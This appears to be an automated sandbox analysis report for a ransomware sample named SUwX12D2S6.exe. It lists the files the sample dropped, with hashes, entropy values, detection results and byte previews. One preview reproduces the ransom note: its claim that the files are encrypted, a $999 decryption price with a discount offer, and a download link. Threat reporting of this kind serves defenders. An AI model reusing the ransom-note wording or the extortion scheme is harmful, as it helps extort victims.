C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408945563963808.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	115275
Entropy (8bit):	7.998462174751001
Encrypted:	true
SSDEEP:	3072:SWy/dW2Q3dgi3rf4ovFvC939QabZYgxbeHH9NCv3:SWy/da3dgi3Tdk9Qa2gNen9K
MD5:	1826A768462EE128DAE6DA50B3407C92
SHA1:	2F8EBDAE31C9A91A05A7D967468F68A43B1A3BBB
SHA-256:	FA144A9E1C38E5E2A6BBA8D122DBE55FE2A2AA0D59430266EC3788923451BC3E
SHA-512:	D7DDCAE9F1EFB194EBD65DA576EB015C2618D491D984991C2176C5EA919059947D7B11B911906174518E0511040AEF7520D476B1DB953A5046AE70C6D0DA7AEA
Malicious:	true
Preview:	[{"Sy>...$JV.g`.)#.#>._..0.;.{.g....u!.A6........k...>.iVg..I.T7..U..Ii....Q.?...s....N=..oe.).fz.s.9.0c...U.`.. ..,n/O.uA.HP...$....."..<.[.!. ..)..a.}.z.l2?.y..-.8.?......z.==.P..\|..>...+^.#J.yd$GPp....+.....m.......3...............}.n3.F...@...O.1.}..]..<^..csMJ...BT.Q.x}8.z.N..._.ls...)....R.\....._mY..3..D.#X.8M..8F.;e..m.E....o.yb....y.q...5.....J..7.........Q......:.. ...E.P.&.&.E.1.!.h....g.gF.!..g.:...Y,Q........./..E.V.[TSuI...ne.x0...>._^H..d. ..#Z.p........Csm.'.......UC.=.l...$.)m.....q..\|".{..J..}.;..z..#<.E)e.H.5....]R.m.\|Tw.....).....Fc.b...a.O.k.>0..O0uM.....&...o.01.>#.zJ......t.Ve....Om@.B.Y.........`B..i.Ca,7...}.rlA.x...}*O6..5.zO....-_.4.\|.'?..z_S..Y`.B'J.]...Gl. ..!>....@....SN.T....-.W.p.7.t..M."5...)0s..........k..+....C..A:..\|.@..\.`.(...u......tV..x..%..$..k.$.i..+r.Z..H..(.....U.E....GW.6..!.........W0.B.....Vx.el....h !......pwf.2/...p.}.J......p....5=5..$4oOC.5.V'..'7e.;..k6b..J.).I...e'...9d5.......p..7..c.6\|S.1....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133584208388432054.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	114612
Entropy (8bit):	7.9984799190178695
Encrypted:	true
SSDEEP:	1536:W1WyFHG+HSotV+D/wgdgMUkXeFSL+C6KH14bdQIpF9wWcwMY+ScRY23JYQFgQyDJ:W1Wkm+HSEIUkXES1HKhDcm278DeRA
MD5:	B289BFADD3D115C80AF544A4C1BE665D
SHA1:	D0965F165A2DC74B48FDF21C6A0D866F7425F1EA
SHA-256:	A25580A5240DE608525A871E1100F17789080E217FCE23FA9776C9BD4024CB94
SHA-512:	A894B146C361642899CE3602B8687F772D0C62AF706FDCABEC29C803E9C7F800F4B6D8886618C78AB0A40551CA6618BE339739A7129DED62104209A22DD009BA
Malicious:	true
Preview:	[{"Sy...P..7.>h.4y.w....#.4.uh.z. N.<^.m~.znfv).yC.y.p..l..6.8wX.sE...W..s...%...]?..).T!E..~.].L-3.=.T..6.6C.T.N./......zL@.t.+...XH.Yr......I.....T.....M.....\|H....X.q.C..wx.....~O.RL......D..o=-S\|>..+...d..L.{.X.......+=...."..eI. .-....L.c..^.)...U.[.D...$..2...m.I..cW.I..7u..Qa.>...'..s.O..b...6.....`..V..V.fm.}p..-..:q...g.../0..4p\..j.0....}...."]...Y..6...s`..\|...h..KFd=...I.......`.......O$../PK...=..X...N.T.;z...RhI8;G..[.I....7s.....4..../...F"..=.,c.0...6.S....7....TN..j.+.9M.B.........tt.....S.c...E.].y\|....j.}u.`C...6.n}L.I..b..sK.,r.^).vol..e.. ..].E...:..\........UvV.'.Fl.az..Q.<.&...qE.g.,\.. P.m....F.].`t.e].,.EZ...L<..'ck.0.8..@...1....h........\|..&..3....d%F..{.....\........xG.q.H..t.;.4..%qI.`.M....o....%.M..o.%{.D...XS..b^..tlE..L'2-Z..6..Lt..\......?..~ZNyA..^.. ..b.%"...H.....[..uF..O...QM+..6...%..o../Hk...]6.?>.L.m..GYF&...%.Uz}r.....u..Od~....9U....o..p....H..$..7o...>......E..<P?..C(0.._....P8.}.. ..w... K..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	696930
Entropy (8bit):	6.208682568459715
Encrypted:	false
SSDEEP:	12288:BpvoO1pPABb4KoGotdYuMOCc5MpzgroTDLgx:Bpvoa9ABEs1uMOCc5MpzgroTDLw
MD5:	71D89856EAA620416D2E56FE5EF0F7D0
SHA1:	9F76610C153BC6DE4B6E49809E2563368718FA45
SHA-256:	5B48424ADA8749DF47F520AE81C68C542642427FC606D5043FD2EA8FA6A25007
SHA-512:	B65DA5BFF129FC312010C35C08213A022704E12079A36B04C341F4A85EE6D9BADB88816FDDF8D509AD31DAD5D0E3C5A2039E4CB9AC40198F200798377BD29D54
Malicious:	true
Preview:	[{"Sy..OTC.P..rZ.#m...X..\|......'F+...n[.Q..s`(.V.....^."MH..S.u.a.Cp.0..0I.....d.....v.3........v..T..t.8]3P9N...D6q..9F...H..........X..x..uWW.%kUZ.....p.u~I&.+5....G...R....,nX....]....LQ...%{...>.....#."F..\|.rj......`r.4..Z....+)....../...eU.I..>.Z...",.:GG.`.....(V. .T.......k....-....Og..1.^..!...4wi.H..uk.e.....de...,...J.[.r..\|....n7.L...w..Q1D?..b,.U.......o.......=k....>.v.C..7x...(.j...8.".Mo...h.1...h..L.(..~\|...\M7<.3.+.......U....J..eE..H?..z....T..#'..@....8E....J&p..............F.Q\r.1..bnI....ot.luW`qU..q/+....gX.d..gr>8u....3.n..C_4(..K}@ .....Lx.Dp...=..~.3.S.E^..!.Q7.CW;.z.?..u=.\.*..w..~.&PbEf..dH.P...p.....vm.}Ou&A..B(...........v.... .D.b.@mPpKj.......7.rHi..9.k.w.S......oW\|.bp9O..;...CU..3.... ...d.a.p...../...Z.K.$h..W.Q!'.....B.M.S..".a.~...W.....<a..............t.4..;?...!.....(..nL..#..........B..<;J....[wh'%.,.5.5a.ekO.~....{..0]....?...Q..G.....y%..54.r..nb_g.....k..h[.c.V;..?...n..:[&rWh.~.<W&b

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	7458
Entropy (8bit):	7.97516378209807
Encrypted:	false
SSDEEP:	192:2mT7OX71RtJXQ+/zLqDpVAqMz7FOtoxOBoC88794DOM/JZH:8lV/zLqdo7FOixOitM4v/JZH
MD5:	AADD82F70EC25BB86F97334F5ED3E9C7
SHA1:	E05A72E492BDD8048C678B4FA04774E9CC2527EC
SHA-256:	E9C003650102E83C3568D05F459DDC4B0970BC7FD519499F1AEA6A11DAD1575B
SHA-512:	52C524EC02B2F92FECB175F9A0A658EFB850FBD24CF192CDCF2BA6251556A1CD3F2539022473A7AB0B85E32FF4FBDBE84335EA3054D6E3A1CB0CA2B28D9ACEA3
Malicious:	false
Preview:	<svg z..Qt.....Q{45.............l....X.R..Z...;...$....Z8.@i.}.j.R..`r..6....iEo...s..ExW..D....yV...=&.G.J.Z.c.6.U..gc...=\.8{...^...h..F\..y.;.c...YW.x.u..L...U..{..xG..r.]...[U..m)..w7.yEXIZq.....;..L..A...%...Eg......+.hD.......Y.~.vL.A..).D....x.D..%P..Ry...Z-......73".....1...@....6..L..3.V^......t.. ..g..16YP.s.6...T.......z..%v6....3.d80..8.x.{~.af...........:3\..F.}N1..b..g(.?...@E\....I{6..j+..:.'..t....sQ=.1.^O...X.E....]..LY...Fq.eG^.NR..jhp-..n.Q@.....Ln.:..:....b.~./..s[.p..6...........(.r.,..bo.-.Oj....af..._...B..e'G.M....S.>.E;.Q!9...~.E........u:.8.J>ybl..=^t.v.7i(\|.:h.H..`E.fI.u..m.I..\|...YAd4.\R..S%}......A.o..H.......6...9......r.....o...j.....L..f...o.1...o.3...c%W.....(G..a..4q..P..j...E$..I..~...J.b.Vv...3%..3....D)..zc6w..}.R..$#.....G9x.J.....1A%...b.>.z..1..`....1k..s_@d3Q=...$..........]<..Q..3LXA...I;**0`J)..GQ&.t....S....o....g:..PE..>..iC......@.......r/..._.;;\|.....@.;...<..u.1.Cs8..N....J.].~T.~..j.v..Eu..t

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	6854
Entropy (8bit):	7.975994266613522
Encrypted:	false
SSDEEP:	192:OqQyxOgeaSlaYs7U+xJvePXRMmuZS184fiNlK08Hx4cRYo/:rxOb1sI01efgZj8iNlSxLuc
MD5:	8B32B25959B8CBE72EB11C45DC9E765B
SHA1:	DB7B15A6C5D11C26F4E97FE7739120E0FCB93D63
SHA-256:	25C474DD13989A49E58D2FA2FDA342B5130FBF61FE892E07A6B67054F7F70D04
SHA-512:	9F69571991B155565F044CAA729EF4FE4FC55DE1F3412522FB35798921EB616134B8514CBFB07F3A4C56A15F65C3B79A208E0D273EF94A1A823C8160A5352415
Malicious:	false
Preview:	<svg ...........!Db...zo....l.7._d.....I._.iX.6....gT.G..nl8`'.B.d......<....../..1`.....'/..).A..!-..:....vZ..&+v....-.5]T......~.R.Bef.F...D..8...Z@.oS_-.....'.V...G...7.-..+V...H..t.y..%\|.:.....uM%.a..x.......U0_..%?z..5.@HlS..x............/..#.LY~!U>@xW.].J1...1.M<>....@.....IE.0;.%!(..I...".R...0%..&..a.=..4..Hj$h..Urh.-.r!1E.nJ.Y..f.\.u..f......0.....(.\%..OpCh.F....C7.#.......y...2b......'P.R.jHQY....1......L....!!...[..&....1.-......\|...I.=2gs..Y........,.G..v9(..r...7..1A.g..2.XV.w>...l..9..]E.Y.%.V4..t...s..!KiJ...;u.f...,.@}n..\|\|.D.j0.....I...J.Re.U..P.J!%l.hD.!.@~.P"7h.-.YD...m....U.9....vA..H.u.."LbGJ......V.:m!:~jV...H(5.d..&M..kr4...........C....=.}!...._.s]!f....Ccj(L....Ww.).....S.Nz:....}......x..x....l..NOi.HB.}.W..o.../:.P.L...\|b..8..%.>.Cl.Yo.B.a.....$....}j...j.\|.@...(n.e.c..G ... (].UJ<\|.kj...4x..0.:=..&.....sQ.._..pw.y.@..S..A+....Ky.m.....n...:.....ya..h...C..I.k......b..y=)f+?..VbI4a.$...G[.ONp(.v...M=\|.[...T..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	149024
Entropy (8bit):	7.998643353076012
Encrypted:	true
SSDEEP:	3072:Trxg1Z+MLR8xak0M7gqYpICVgfWZYIWtuMD3qtKSZzyNDZlM:Bg1AMtkakh7gqWOWZ3PMOtKSgNDg
MD5:	C27848D74F78078454BB2091128B1D57
SHA1:	F5FEE2FD551865341B535BD45CCE687FA65D7C17
SHA-256:	971E8E122383FDEDF59EA7236CE29827A83C272A071430AE6F3D343EF80EB6D0
SHA-512:	622E4837F7490E2406701F09C36840B37320C676D8DBB38B2EFD0210738A788BAF849DF5BAC3B8BF4C0E5D3716A497B1DAF7EA07FA3ED68F3F1DFD3E8E93F401
Malicious:	true
Preview:	{"loc..M.............E&.z....cn..k..=.An...>..........o.@..p@%..qH..3.K.&.2.n.....]^..7...<.Iv..q.........{.0...4'...Y.b.....>.Qe.o.5..fC......5.y.nU.g.s.~.L6+h.w...........].V..-N....j....P/lMM.).-IZ.._x..p..!...>..:A.b......Nsl9.g=......%... w.T...4Z.!.......i6.Z.<.Ya..1...2..J..D.b X3. .!..`N...LC.t.<F....e.9.@...7W\.,>'....2c.Y3.2..:...).*jj.#...)!...._._...(e.....P.m..D..j.TmG...qGl..y....,T./.x....C..n..@.i.4.8.)..(.5+ti.....5NUu..G...?...._.......l..s.N.oZiW...l.D.@ .\...-)....\..p&4..&..[B..va....p.....L......"..g.GJ..V..`..hjH.......Bs..\.@..].P.....^......Q../w......._..9.....1.\|...1.Z.._..8..Y.^.]..jk...L]m#...i..1.xs.<..!#.-C...G.Q(W.r..1...%..9.."#./..jj.4^..4.......Ypy.=.k.\O...G..p....}6.cA....<.).m]..E.:J.j...o.T..u'.?9.5..y..A}......k!..Uo.:FHU.."!k....... ..6....=."E..-.:.0R.....\|.O.t.im...^./;d's{Z...z.:....y.8.;\.?!-.S##.y._!.J..4\|P.{.G..Z....M..!/.......f#..+..E.Px.9...rK....^........4..:^......=..A....F.Q.Y.Rs.(V.

C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\LocalState\DiagOutputDir\LogFile_October_3_2023__13_9_20.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	615
Entropy (8bit):	7.627172545041825
Encrypted:	false
SSDEEP:	12:A1eWe5bBFgu4SahbN6n2i6qJ4+jaIybcTNDqtFNjVcii9a:ein4ph0t6qJ4hIybcT1qTNVbD
MD5:	2DEE2D20B7ABB7928D85B0B893987754
SHA1:	04A34BB559FA9075C83225EECED3057E52D8B9BF
SHA-256:	529D6D252520323436E84411FE65CD315AA63C6CDCD55DF333D3C153F5F40E38
SHA-512:	7BC20D89639CCEDDD1328FC22205771A36376314F145606FF52541E55E2DFBF17CED3077F5A0D017A6779DABB0A9E1B54896210508A7BF619B203630E053A774
Malicious:	false
Preview:	[000:.]L.'6.^...~.>..]O........x...>.[.}....Q{,8@5._.Qm_I"...$.....s../..........).x..)Y...s.....I.@t..\.c........5.d-.....6..../...G. .....,=.h>.!.PSPe.W..O.F`..."..\..l....e....Jr...vT.....J....2..[.%6C..t,....p...}......8._{uw.[..._.N)......e...T,!....V....c....\6....@y.8.[/....?tz.:.d.......6..#N...?7[#.".K.Ab....$.....eoX...&tI...T....+..@..@.Zw1.r....._...JL\.k...(.....D..,.ljO7..}..........J,.~>.k..j \|\_.2..a...e..)..>...{ ......o...X"...vV..vz..@.!........)..1! ....s.l...:k<*j.......J..\h?.CSx..z.Litkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979763837528913
Encrypted:	false
SSDEEP:	192:ivsHz09xifKUWV0p7HQSGvRuhtp0AtVmu+aV+PM79Q:xHz09YfKUHprQknpDVH+asPP
MD5:	E30FF01F057B1A0505145A6A4B41C0A0
SHA1:	A4EE7249DB66DD33D4B2B2E2351DD21688D6AEE6
SHA-256:	F3EF4577F0FB0EDB22FD272E68B7716C848AA52599F1931CEE8C16971C0E7CAA
SHA-512:	266CB703406EEE3CF141E7B6A51E92422F79E323BBF8A136C630DC74C1DA4E2A93D1B57CD29804D29A60A5AFACFCF7A17ACD9C156105335151300BB81B377FB9
Malicious:	false
Preview:	regf...N.L.M.\|%..L.5.4..).V.X..c.g..H.<.i'..Mll..t...`.~.!.....9s.C.M3..`.[O..Zd..........C..H..v....^.Q..<.....V.$.E........(...C.....Sh..q8..P+~Z.}...R.a...:...+.&.H..m.V..f.e....t...{.x7r.....y. ....KyT.>...JY@R.V.T.L7...;.O..#2lg>...n._..ZC4p.......%a}.q.....&...B.L7...{.O...~..l.@..n.........[..\|o....'.y(...-..l&...LC....C.nz...:.R.MfR..5g.tb@.e%.A. ......C.R...........m.$f....o..a6.o...bZ.w..@..x.MB`#(.....Q(...4:7y....._z.z..q;...8...t.8.Hm...D.........'F......\|........#M..=_S..xT...^...\...J.#g..[.....N.v\.V"..q. )..z.e ~G.....0..m@"..#..Y.H^.-......@nB.@).B.).~.i.q....[.......$.;.-.w .?......+........\R&..GJ.'.lJ...F.......4\.....G.}v.....-[P.7 .FMm..S....D).J,..._Pl.n....\|4V.O\|....6a.....G1j..D..k....u..Z '.I..>.q.^..............F.......Rf-.OS..+..M.@...j_\"..!4T..._vT....,\|...d:r"k.F$..)........pt..5.R&.-X....=....9.zu..R1..h.*...Xg...-@y....H.....'.K.......-.1..k.F.}m.g+..y<.D:.0.7.........z..%...j<dYnA2..-.j....:.^..z,k.!..

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.204903680080382
Encrypted:	false
SSDEEP:	49152:o963knt38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKO1:o+kxF1qd/LKN1
MD5:	F477FA813C24BF52EDA9A3F42747D13C
SHA1:	892059D9969C0DF3BB30E7B43E00A935E1B40F43
SHA-256:	DCB9828EEDE408069B02093F2B20CA584C239F7378EB52610FCA4B08B5B25DCF
SHA-512:	4F703BBA43231DD134271165B4D9A304DFD5D160B4B6CB9ADDAF4141FC8953F7F3BC891DF1C04141842E32C0250B4BEFB72A6613C476C7471982E55418377A70
Malicious:	false
Preview:	Micro%HH..kn.....V!2.9...).,D..@}.9...v..XMg.H...E.9....g...Z....x..1.B.[z..i.H.....B.{u.T.O...U!:Z/f..%8f...e...{R.O......y@-...hQ.>E...>..O....eu.~.3.?.....x.<."@.,..<...Y.8..@Y^S.W.Cr`..r...5..[WzyW.3.=s..!..;$.$...dx..X..q.wa...D.$...G..."...@.....h.N....\|.F...&....Lb....M.n.......<2%...w6..:....{h\|rZ...r.g.l%.(......8..O..S...$C....}..MYv.Wr...(....`....j.....g`...$.G...3...w6.P.s.S@p..2.I..R.LB....../>.J.N.SS..%7.....C5.Y..:.r......`..h358.K....Y.....FJ.".~Ia....e.U..h:&.9.\|9n...7_'Q......%..s.......Iy..o=.%...Fv'.-}.?.....v...fN........y@...I..0.u....%.@..".._%,...B../(.k....+y.....y..<.].9......K)}...)..$.&.X.E...........?.h/....~$E\.@P&.....@..<.q}.e=......)..n..K..xB.mK..X}r\|...._.........p..C...:f.][.[A.k%\9bQ.Y(k.D.......3.....^..{.Oq....U+.)5!C...8'/3.....7...:}.<4......AU....%.B...h}p.....B..}...5n.....3...7%9.&.........U.3.m...12%....;...e$b...v.6m..u.d.]h...8.2V.\..V..Q.Ith.'"R.:%.]..:.N..Q...0.U`..../z.y0~.N..\|$=".`

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.205148694620177
Encrypted:	false
SSDEEP:	49152:67pw38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOH:aAF1qd/LKNH
MD5:	D00C197F1BBCEA7EBACFD7FDF0711166
SHA1:	1836217B4923650BC72360E180DA65387C809596
SHA-256:	371750FE65E31499602F9C1C38E60AFD881E6C83A001AC0A49D93E48FA778E9A
SHA-512:	416C2B41420AFF869AC6EA14C5A7B09BA322C408B7160DBDC4EEC27C832CF345A55A49516A42484EC544B6FE8E2AF16D81863C8362438ADBA57BD9C01D5306E1
Malicious:	false
Preview:	Micro.[y?.@.$c..H....0..?W}qm....[..d5..1..`#hf..O....Z...x.P...Y.y3:.E.....>I...~7...V.~..e;...M.t.Crq..Y.rHe....X...=.....68..$....I.D...N.F..8...y.C.....D...E~.G./.Ez.9........[9B3.(Bs.>s..\9A.....f.\|'.....V.P...H...4...I...O\....7.w.DTN..D.....Y..m..Zt....+..`7.a.`:......j!N...KQ39..jB.yt'....-Z....hCpi..>.. 6V.$..LR..a.b..., ..1I..@....T...?...g..T.`..o..Nw......l..........lp..q.B....I.......g.DD.....%.......y.....k..h=......pp.Z}=U_...j.n7{6.O{.dQ.!TR......Y.=:-.[.6kM.^.g......!......?h#....K.t....!p..R<.;....7.....D...m..9.d~..xB3.."4.eT.......?O..c...(..\|.".W.2.K%.P.)..;R..0.MK/.S]..K3.Rw.P.~.O..rH#..a.#.\..(.. =q.\{.#....1..M..Y24./..f.....}w..?)..T.aa.:6....MAnbl.X..D..s..=.Z.(6....H..dbl<C<.E\....?./....G....m..v\.^...=........4..n1...,..8}H.K.....y}0....o.]....=.J...!k.U.....c.......5p....H{M..zl.\|s..8.O.W.&}.G..xK..!..,.v.......s.P..G9A..T.z..........r....aj..{U...\.. S.:.!A...`........;.......u.9...v[+5.9j..O..

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.662789745501048
Encrypted:	false
SSDEEP:	12288:SEBXWonpgsXJQ4aKVmaS4aMz8Pg3lxJo2cvXt4:SEFznpgsXBaKVzaYcAqt4
MD5:	20E6B171A1582AF74E179842EF8415D1
SHA1:	5083E666600859390CCF215D8331954556A0B267
SHA-256:	EC34509FED37DE5C92747E9DA228C885D9A05DB1CAE22BBBAFCE9D88A8371680
SHA-512:	8DF724EA8923A9660998603FCED48348F728C28FF43CB914E81D4CCE9D2B0CD5363D47A6D9947B0AE45A8EF9E5D949F9AD7E2E90ED0BD411026858D663306E5F
Malicious:	false
Preview:	Micro..X.z....\>.....@=..._.O.......U:.S...\|.H.6r..%~o84-u....3..2..m..q...&..N@F.s....h.Zq.U..67.$W..U.....J...?rf\.%=........$.8..6..j..mk.^..6.....ro$p..>Lc....mk..$..;....,....F....>.h.Z/F....;V.y\|e6<$56.x{.eA...Z..G....!*.....K.B......\|....`..c.iR.o..3.~.]..,jX.WN. .)..h.u.np.0C..'..5......R....."...iM..........0v..".-...[....9...%.@....{.z....<._..(...u'.r.B...@@8..3.X.9.x)..+'NA.....\?R(..G"\::......-.+.c.S..6VT.ro.... k.....2..q......rv.`y..=...A)..Sh#..)...8!.[wa....[...i.I....{o.........H.......db.w/.......`.t0~EZL...su...G.x.....^!...D.g...m.u;.._..'i..S.w..>.l.x. .+x../......T)e.{.N.$.9p\|T.J....r]....HE...=.6..5...R(6..%y.9.%.A.1.4...e...i.....W,......R:......l..).."...>.L.R...6.c../Z...0/Y.N.......a....."..Tp......Z........2p.M^...&G.O'..}..V...?..G.Oc..........T..3qm.7l...........#Y..[....\=..=s.\|U..qj.(....1.....h).:.............7...............B>x.........=....\.#...Ie.fS3...5hyp..s)...../`v.~.1.UH_I.Ox.Z...b2.H....B...?y..9..S.,.-.H.w.`P&E

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.664092373454389
Encrypted:	false
SSDEEP:	12288:s3+8RPQGNcUOgutCkk/JQ4aKVmaS4aMz8Pg3lxJo2cvXt0:e/R4GuA/BaKVzaYcAqt0
MD5:	AFC5F7FB02DD6124ABB7EAE92BBAF133
SHA1:	543340C9AD16B297F9BBEFCA6D8912953ADC4069
SHA-256:	74B3D8F1EF67814C828C42E79A75A388838B815069D186D25349A98D6060864F
SHA-512:	340854C91967FF43465B5A53F8540369203186EF4EB3091638F2032B0B233F8C9C6752E9B76AED49C05AB5643E4AC8CEFD91B2BE5FE647F0AA19CA0ACF74F119
Malicious:	false
Preview:	MicroX.......t....;.J..y_.......2..N..#....=..{..@OE.f.A.J.....D"."L1r.\|....:..S...FR...... A..Bf.#`..2.NY..V.Rs.X..7.-..pF..f/.....D/!.N..p._.H..v.R.S....`..`......1..9[.G.3Ui....7..-c..l%.Py....v_.e-....]Dl^.v.X.....\|.l......O$... _n.% ..;..xX..JH."....2%.U[.b.?..s..........>ir.....>lD-.B....S..6(.q....[....M/Y..F.hN.ZV.F....>-+.....Y[....z.)..p..z..,6.5.......g.R....... !..2[.4.~..r....=^@dV.%4^.W.TZ.=J6D..7I..."S..1..__.+U..\./4(..5.... ...0..5....]+.~.:..k...H..RQ.2yj.P~sa\|.E'.............}...`.Fw=_~IL..=..M.\|.6aZ@.B..n.w..."g.&........I....R.D..6...).'.`(Y..3.ju.kcN.,.5..6.O..Q.......W.^.EH......f....x'.....7cA...f... '....xk.o...$..M..C.'c.8r./...TQy..&....&.D....m.:.2t....&.x..x.1...,.N0.....A........q.....39.U.U..\|..pq-.S.%......5...=9s^.A.$.......8.g.Q..........4....z.?..g.jHi....c.?%..tMs.......s7..N..%O.yT.J5...x.K0BM1...!9p....&H.-.E.......xj-JG..zH...E...W.nz....`.k...,.b#.v.Z.h;H.ops.<..w.^........{.2.g......../

C:\Users\user\AppData\Local\VirtualStore\_README.txt

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.887762912110015
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3s:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kX
MD5:	4CA4E4C152E163E27BF40545F832D28C
SHA1:	592F8EF320B0E69D9189B58D5AB27C71E4B95AB1
SHA-256:	B6847672C899A968614A625608176BA8AD3FDA8A6A442E2BE5D15458BF803C0C
SHA-512:	AE7C8050529F42785A1E8523524E23372DED4AA0C7D5B4425F83B7C744503C15EEFF12B404289F1D9CEAED64FA38362B7BC45B40A1C208B4F094B22FBAF76CBB
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	798720
Entropy (8bit):	7.648876634815104
Encrypted:	false
SSDEEP:	12288:5O9ISzaeV1oie7CIXYEEsB7HBDGsqQuXpLyQVbDDzQBlFz+0Zdqbmw3q2MFC:5O7aezoB7/o5sBM/vRD8lFzzdeFtMFC
MD5:	4B2FB93459B4E03686148D0A1D3C1F00
SHA1:	B16C9E43F7389BA51E1423F676CC61D9EC9D4354
SHA-256:	200690DE2B973C6F7A702D5129DEA09AEC57D548CAB07E19F012E5A8E0C6AE64
SHA-512:	31CAAD1014245FB375ECAEFA11BDACDBF8E661ACEDF3411F75310E4E8DCF8F9CE8EC11EC17719677FE77AFBB3036DE07811C4309DBD9251C04EDFF017947E224
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45% Antivirus: Virustotal, Detection: 40%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%G._a&..a&..a&..lt`.\|&..lt_..&..lt^.M&..h^,.f&..a&...&...Z.`&..ltd.`&...a.`&..Richa&..........................PE..L....`c............................_?............@..........................0......1<..........................................P.......h#..............................8..............................@............................................text............................... ..`.rdata.............................@..@.data....]..........................@....rsrc...h#.......$..................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\bowsakkdestx.txt

Download File

